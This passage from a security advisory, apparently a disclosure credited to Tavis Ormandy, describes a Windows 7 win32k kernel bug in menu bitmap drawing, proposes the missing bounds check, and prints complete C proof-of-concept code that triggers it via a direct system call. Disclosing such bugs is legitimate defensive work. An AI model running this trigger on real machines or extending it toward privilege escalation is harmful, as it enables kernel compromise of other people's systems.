|
of data about the failing code, including the variable names and filename.
|
|
Therefore, I know the correct fix is to verify (pItem->hbmp >=
|
|
HBMMENU_POPUPFIRST) && (pItem->hbmp <= HBMMENU_POPUPLAST) before line 1537 of
|
|
\w7rtm\windows\core\ntuser\kernel\mndraw.c :-)
|
|
|
|
I suspect there may be more assertions that should be checked, but haven't
|
|
looked at them all.
|
|
|
|
--------------------
|
|
Affected Software
|
|
------------------------
|
|
|
|
At least Microsoft Windows 7 is affected.
|
|
|
|
--------------------
|
|
Consequences
|
|
-----------------------
|
|
|
|
An unprivileged user may be able to execute arbitrary kernel code, perhaps
|
|
escaping protected mode, or becoming an Administrator, for example.
|
|
|
|
Example code to trigger this vulnerability is available below.
|
|
|
|
#ifndef WIN32_NO_STATUS
|
|
# define WIN32_NO_STATUS // I prefer working with ntstatus.h
|
|
#endif
|
|
#include <windows.h>
|
|
#include <assert.h>
|
|
#include <stdio.h>
|
|
#include <winerror.h>
|
|
#include <winternl.h>
|
|
#include <stddef.h>
|
|
#include <winnt.h>
|
|
#include <uxtheme.h>
|
|
#ifdef WIN32_NO_STATUS
|
|
# undef WIN32_NO_STATUS
|
|
#endif
|
|
#include <ntstatus.h>
|
|
|
|
#pragma comment(lib, "GDI32")
|
|
#pragma comment(lib, "USER32")
|
|
#pragma comment(lib, "UXTHEME")
|
|
|
|
#ifndef MFS_CACHEDBMP
|
|
# define MFS_CACHEDBMP 0x20000000L
|
|
#endif
|
|
|
|
// Linux style :-)
|
|
//
|
|
// kd> dds win32k!W32pServiceTable + ((0x1256 - 0x1000) * 4) L1
|
|
// 92c95958 92b2d294 win32k!NtUserThunkedMenuItemInfo
|
|
//
|
|
#define __NR_NtUserThunkedMenuItemInfo 0x1256
|
|
|
|
// Quick utility routine to execute a systemcall with the specified argument list.
|
|
NTSTATUS SystemCall(DWORD Number, PVOID Args, ...)
|
|
{
|
|
NTSTATUS Status;
|
|
|
|
__try {
|
|
__asm {
|
|
mov eax, Number
|
|
lea edx, Args
|
|
int 0x2e
|
|
mov Status, eax
|
|
}
|
|
} __except(EXCEPTION_EXECUTE_HANDLER) {
|
|
return GetExceptionCode();
|
|
}
|
|
return Status;
|
|
}
|
|
|
|
// kd> lm mwin32k
|
|
// start end module
|
|
// 92a90000 92cda000 win32k
|
|
// kd> dt tagSERVERINFO oembmi
|
|
// win32k!tagSERVERINFO
|
|
// +0x970 oembmi : [93] tagOEMBITMAPINFO
|
|
// kd> dt tagOEMBITMAPINFO
|
|
// win32k!tagOEMBITMAPINFO
|
|
// +0x000 x : Int4B
|
|
// +0x004 y : Int4B
|
|
// +0x008 cx : Int4B
|
|
// +0x00c cy : Int4B
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
MENUITEMINFO MenuItemInfo = { sizeof MenuItemInfo };
|
|
WNDCLASS Class = {0};
|
|
HMENU Menu;
|
|
BITMAPINFO Bitmap;
|
|
|
|
Menu = CreateMenu();
|
|
Class.lpfnWndProc = DefWindowProc;
|
|
Class.lpszClassName = "Class";
|
|
MenuItemInfo.fMask = MIIM_BITMAP | MIIM_STATE;
|
|
MenuItemInfo.fState = MFS_CACHEDBMP;
|
|
MenuItemInfo.hbmpItem = (HBITMAP) 0x12345678;
|
|
|
|
// Register Window Class
|
|
RegisterClass(&Class);
|
|
|
|
// Possibly disable themes for current session
|
|
if (IsThemeActive()) {
|
|
EnableTheming(FALSE);
|
|
}
|
|
|
|
// This should work, but some ring3 code interferes.
|
|
// SetMenuItemInfo(Menu, 1, TRUE, &MenuItemInfo);
|
|
|
|
// Call NtUserThunkedMenuItemInfo() directly instead.
|
|
SystemCall(__NR_NtUserThunkedMenuItemInfo, Menu, 1, TRUE, TRUE, &MenuItemInfo, NULL);
|
|
|
|
// Trigger the bug
|
|
CreateWindowEx(WS_EX_LAYERED, "Class", "Window", WS_VISIBLE, 0, 0, 32, 32, NULL, Menu, NULL, NULL);
|
|
|
|
return 0;
|
|
}
|
|
|
|
-------------------
|
|
Credit
|
|
-----------------------
|
|
|
|
This bug was discovered by Tavis Ormandy.
|
|
|
|
-------------------
|
|
Greetz
|
|
-----------------------
|
|
|
|
$1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/
|
|
$1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.
|
|
$1$IPYBMipO$/HhHCPgulV/E0pgSvU1710
|
|
$1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.
|
|
$1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.
|
|
|
|
And all the other elite people I've worked with (sorry, too many to generate!).
|
|
|
|
-------------------
|
|
Notes
|
|
-----------------------
|
|
|
|
Approximate time to fix was 150 days.
|
|
|
|
-------------------
|
|
References
|
|
-----------------------
|
|
|
|
- http://msdn.microsoft.com/en-us/library/ms648001%28VS.85%29.aspx
|
|
SetMenuItemInfo Function |